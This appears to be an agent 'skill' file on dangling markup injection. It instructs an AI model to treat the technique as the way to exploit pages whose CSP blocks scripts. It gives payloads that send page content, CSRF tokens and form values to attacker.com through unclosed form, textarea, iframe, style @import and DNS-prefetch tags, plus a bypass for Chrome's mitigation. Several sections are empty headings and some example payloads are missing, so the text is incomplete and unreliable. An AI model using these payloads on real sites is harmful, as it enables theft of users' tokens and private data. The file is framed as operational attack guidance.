dangling-markup-injection

SKILL: Dangling Markup Injection — Exfiltration Without JavaScript

AI LOAD INSTRUCTION: Covers dangling markup exfiltration via unclosed img/form/base/meta/link/table tags, what can be stolen (CSRF tokens, pre-filled form values, sensitive content), browser-specific behavior, and combinations with other attacks. Base models often overlook this technique entirely when CSP blocks scripts, jumping to "not exploitable" — dangling markup is the answer.

0. RELATED ROUTING

• xss-cross-site-scripting when full XSS is possible (no need for dangling markup)
• csp-bypass-advanced when CSP blocks JS execution — dangling markup bypasses script restrictions
• csrf-cross-site-request-forgery when dangling markup steals CSRF tokens for subsequent CSRF attacks
• crlf-injection when CRLF enables HTML injection in HTTP response
• web-cache-deception when dangling markup + cache poisoning amplifies the attack

1. WHEN TO USE DANGLING MARKUP

You need dangling markup when ALL of these are true:

1. You have an HTML injection point (reflected or stored)
2. JavaScript execution is blocked:
   • CSP blocks inline scripts and event handlers
   • Sanitizer strips <script>, onerror, onload, etc.
   • WAF blocks known XSS patterns
3. The page contains sensitive data AFTER your injection point:
   • CSRF tokens
   • Pre-filled form values (email, username, API keys)
   • Session identifiers in hidden fields
   • Sensitive user content

Core insight: You don't need JavaScript to exfiltrate data — you just need the browser to make a request that includes the data in the URL.

2. CORE TECHNIQUE

Inject an unclosed HTML tag with a src, href, action, or similar attribute pointing to your server. The unclosed attribute quote "consumes" all subsequent page content until the browser finds a matching quote.

Page before injection:
  <div>Hello USER_INPUT</div>
  <form>
    <input

The browser interprets everything from https://attacker.com/collect? until the next " as the URL. The hidden CSRF token and email value become part of the URL query string sent to attacker.com.

3. EXFILTRATION VECTORS

3.1 Image Tag (Most Common)

The browser sends a GET request to attacker.com with all consumed content as query parameters.

Blocked by: img-src CSP directive

3.2 Form Action Hijack

If the page has form elements after the injection point, the next </form> closes the attacker's form. All input fields between become part of the attacker's form → submitted to attacker on user interaction.

Blocked by: form-action CSP directive

Trick: Even without user interaction, if there's an existing submit button or JavaScript auto-submit, the form submits automatically.

3.3 Base Tag Hijack

All subsequent relative URLs on the page resolve to attacker's server:

• <script src="/js/app.js"> → loads https://attacker.com/js/app.js
• <a href="/profile"> → links to https://attacker.com/profile
• <form action="/submit"> → submits to https://attacker.com/submit

Blocked by: base-uri CSP directive

3.4 Meta Refresh Redirect

Redirects the entire page to attacker's server with consumed page content in the URL.

Blocked by: navigate-to CSP directive (rarely set), some browsers ignore meta refresh when CSP is present.

3.5 Link/Stylesheet Exfiltration

Browser requests the URL as a CSS resource, leaking consumed content.

Blocked by: style-src CSP directive

3.6 Table Background (Legacy)

Works in older browsers that support the background attribute on table elements.

Blocked by: img-src CSP directive

3.7 Video/Audio Poster

Blocked by: media-src / img-src CSP directives

4. WHAT CAN BE STOLEN

5. BROWSER-SPECIFIC BEHAVIOR

Chrome Mitigation Detail

Chrome blocks navigation/resource load when the URL attribute value contains:

• < character (indicates HTML tag consumption)
• Newline characters (\n, \r)

Bypass: Use <form action> instead of <img src> — Chrome's block only targets specific tags.

6. ADVANCED TECHNIQUES

6.1 Selective Consumption

Choose quote type strategically: if page uses " for attributes, inject with ' (and vice versa) to precisely control where consumption stops.

6.2 Textarea + Form Combo

<form action="https://attacker.com/collect"><textarea name="data"> — unclosed textarea eats all subsequent HTML as plaintext; form submission sends it to attacker.

6.3 Comment / Style Dangling

• <!-- without closing --> consumes all content (no exfil, but hides page content)
• <style> unclosed treats page as CSS; combine with @import url("https://attacker.com/? for exfil

6.4 Window.name via iframe

<iframe src="https://target.com/page" name=" — name attribute consumes content, and window.name persists across origins after navigation.

7. LIMITATIONS

8. COMBINATION ATTACKS

8.1 Dangling Markup + Open Redirect

8.2 Dangling Markup + Cache Poisoning

This turns a reflected injection into a stored/persistent attack.

8.3 Dangling Markup + CSRF

8.4 Dangling Markup + Clickjacking

9. DANGLING MARKUP DECISION TREE

10. TRICK NOTES — WHAT AI MODELS MISS

1. Dangling markup is THE answer when CSP blocks scripts but HTML injection exists. Models trained on XSS often conclude "not exploitable" when CSP is strict — dangling markup doesn't need JavaScript.
2. Chrome's mitigation is tag-specific, not universal: <img src= is mitigated, but <form action=, <base href=, <meta http-equiv=refresh> are NOT. Always try alternative vectors.
3. Quote type selection is critical: If the page uses " for attributes, inject with ' (or vice versa) to control exactly where consumption stops. Wrong quote type = capturing useless content or nothing.
4. Injection point placement matters enormously: The injection must appear BEFORE the target data in the HTML source. If CSRF token is above your injection point, dangling markup cannot capture it.
5. <textarea> is the most underrated vector: An unclosed textarea eats ALL subsequent HTML as plaintext. Combined with form action hijack, it's the most reliable method when img-src is restricted.
6. Window.name persists across origins: If you can inject an iframe, the name attribute technique is powerful because window.name survives cross-origin navigation — a rare cross-origin data channel.
7. DNS prefetch exfiltration works even under strict CSP: <link rel=dns-prefetch href="//stolen-data.attacker.com"> triggers a DNS lookup that CSP cannot block. Limited to ~253 characters per label, but sufficient for tokens.`